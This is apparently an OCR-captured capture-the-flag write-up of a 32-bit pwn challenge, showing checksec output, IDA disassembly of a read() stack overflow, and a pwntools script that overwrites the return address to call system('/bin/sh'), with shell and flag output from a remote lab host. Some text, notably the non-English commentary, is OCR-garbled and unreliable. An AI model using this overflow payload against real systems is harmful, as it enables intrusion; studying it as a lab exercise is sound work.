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root@mypwn: /ctf/work/python# checksec 15bc©349874045ba84bb6e504e910a46
[*] '/ctf/work/python/15bc@349874045ba84bb6e504e910a46"

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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Library function [l Regular function [l Instruction

[¥] Functions wind.. & @& @

Function name

[F] _init_proc

[¥] sub_8048300

[7] _read

[7] _system

[¥] _gmon_start__

[F] __libc_start_main
[F] _start

[F] _x86_get_pc_thunk_bx
[7] deregister_tm_clones
[7] register_tm_clones
[¥] _do_global_dtors_aux
[F] frame_dummy

[7] vulnerable_function
[#] main

[F] _libc_csu_init

[F] _libc_csu_fini

[F] _term_proc

[7] read

[7] system

[#] _libc_start_main
[#] _gmon_start__
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ssize_t vulnerable_function()

{
char buf; // [esp+@h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
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IDA - 15bc0349874045ba84bb6e504e910a46 /Users/mac:
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Data Unexplored External symbol
x I8 IDA View-A @0  Hex View-1 ®[A st
.text:0804844B ; == SUBROUTINE
.text:0804844B
.text:0804844B ; Attributes: bp-based frame
.text:0804844B
-text:0804844B public vulnerable_ function
.text:0804844B vulnerable_function proc near ; CODE XREF: main+llip

.text:0804844B
.text:0804844B buf
.text:0804844B
.text:0804844B ;
.text:0804844B
.text:0804844C |
.text:0804844E
.text:08048454
.text:08048457
.text:0804845C
.text:08048461
.text:08048464
.text:08048467
.text:0804846C
.text:08048472
.text:08048473
.text:08048475
.text:0804847A
.text:0804847D
.text:0804847E
.text:0804847F
.text:0804847F
.text:0804847F
.text:0804847F
.text:08048480
.text:08048480 ;
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480
.text:08048480 argv
.text:08048480 envp
.text:08048480
.text:08048480 ; _ unwind {
.text:08048480
.text:08048484
.text:08048487
.text:0804848A
.text:0804848B
.text:0804848D
.text:0804848E
.text:08048491
.text:08048496
.text:08048499
.text:0804849E
.text:080484A3
.text:080484A6
.text:080484AB
.text:080484AE
.text:080484AF
.text:080484B2
.text:080484B2
.text:080484B2

__unwind {

main

var_4
argc

main

= byte ptr -88h

push
mov
sub
sub
push
call
add
sub
push
lea
push
push
call
add
nop
leave
retn

SUB

ebp

ebp, esp

esp, 88h

esp, 0Ch

offset command ;
_system

esp, 10h

esp, 4

100h

eax, [ebptbuf]
eax ; buf
0 ; £d
_read

esp, 10h

"echo Input:"

nbytes

i } // starts at 804844B
vulnerable function endp

ROUTINE

; Attributes: bp-based frame

; int _ cdecl main(int argc, const char **argv, const char **envp)

public main

proc near ; DATA XREF: start+l7to
= dword ptr -4

= dword ptr 8

= dword ptr O0Ch

= dword ptr 10h

lea ecx, [espt4]

and esp, OFFFFFFF0Oh
push dword ptr [ecx-4]
push ebp

mov ebp, esp

push ecx

sub esp, 4

call vulnerable function
sub esp, 0OCh

push offset aEchoHelloWorld ; "echo 'Hello World!'"
call _system

add esp, 10h

mov eax, 0

mov ecx, [ebptvar_ 4]
leave

lea esp, [ecx-4]

retn

; } // starts at 8048480

endp

int __cdecl main(int argc, const char **argv, const char **envp)

}

{
vulnerable_function();
system("echo 'Hello World!'");
return 0;

}
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.plt:08048320 ; ===============SUBROUTINE ====s=====mm=o=
.plt:08048320

.plt:08048320 ; Attributes: thunk

.plt:08048320

.plt:08048320 ; int system(const char *command)

.plt:08048320 _system proc near ; CODE XREF: vulnerable_function+11llp
.plt:08048320 5 main+1Elp

.plt:08048320

.plt:08048320 command = dword ptr 4

.plt:08048320

.plt:08048320 jmp ds:off_804A010

.plt:08048320 _system endp
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int system(const char *command)

{

return system(command);

s R — T /bin/sh, R T —ANERGRAE.dataB F HIf & -

.data:0804A01C ; S==SsS=S====
.data:0804A01C

.data:0804A01C ; Segment type: Pure data

.data:0804A01C ; Segment permissions: Read/Write

.data:0804A01C _data segment dword public 'DATA' use32
.data:0804A01C assume cs:_data

.data:0804A01C ;org 804A01Ch

.data:0804A01C public _ data_start ; weak
.data:0804A01C _ data_start db 0 ; Alternative name is '__data_start'
.data:0804A01C ; data_start
.data:0804A01D db (%]

.data:0804A01E db (%]

.data:0804A01F db (%]

.data:0804A020 public _ dso_handle

.data:0804A020 _ dso_handle db 0

.data:0804A021 db (%]

.data:0804A022 db (%]

.data:0804A023 db (%]

.data:0804A024 public hint

.data:0804A024 hint db '/bin/sh',0

.data:0804A024 _data ends
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system_addr = 0x08048320
binsh_addr = 0x0804A024
payload = 'A'*0x88 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)
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root@mypwn:/ctf/work/python# chmod +x 15bc©349874045ba84bb6e504€910a46
root@mypwn:/ctf/work/python# ./15bc©349874045ba84bb6e504€910a46

Input:

AAA

Hello World!

MRYE IE AT B OL R E A i python BRI A«

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./15bc0349874045ba84bb6e504€910a46")
# p = remote("111.198.29.45", 30023)

system_addr = 0x08048320
binsh_addr = 0x0804A024
payload = 'A'*0x88 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)

p.sendlineafter('Input:', payload)
p.interactive()

PATERIT

root@mypwn:/ctf/work/python# python level2.py
[+] Starting local process './15bc@349874045ba84bb6e504e910a46': pid 183
[*] Switching to interactive mode

$ id

uid=0(root) gid=0(root) groups=0(root)
$

BA R, MEAERBEERRS R, BITERUWT:



root@mypwn:/ctf/work/python# python level2.py
[+] Opening connection to 111.198.29.45 on port 30023: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{c142035a6acf7ae6df9c3dbb276f8110}
$

PAT LI !
A RBE R Ak S AR U ORI, RO ARSI R HESE, 752 H B &% 4 52 iy rop.
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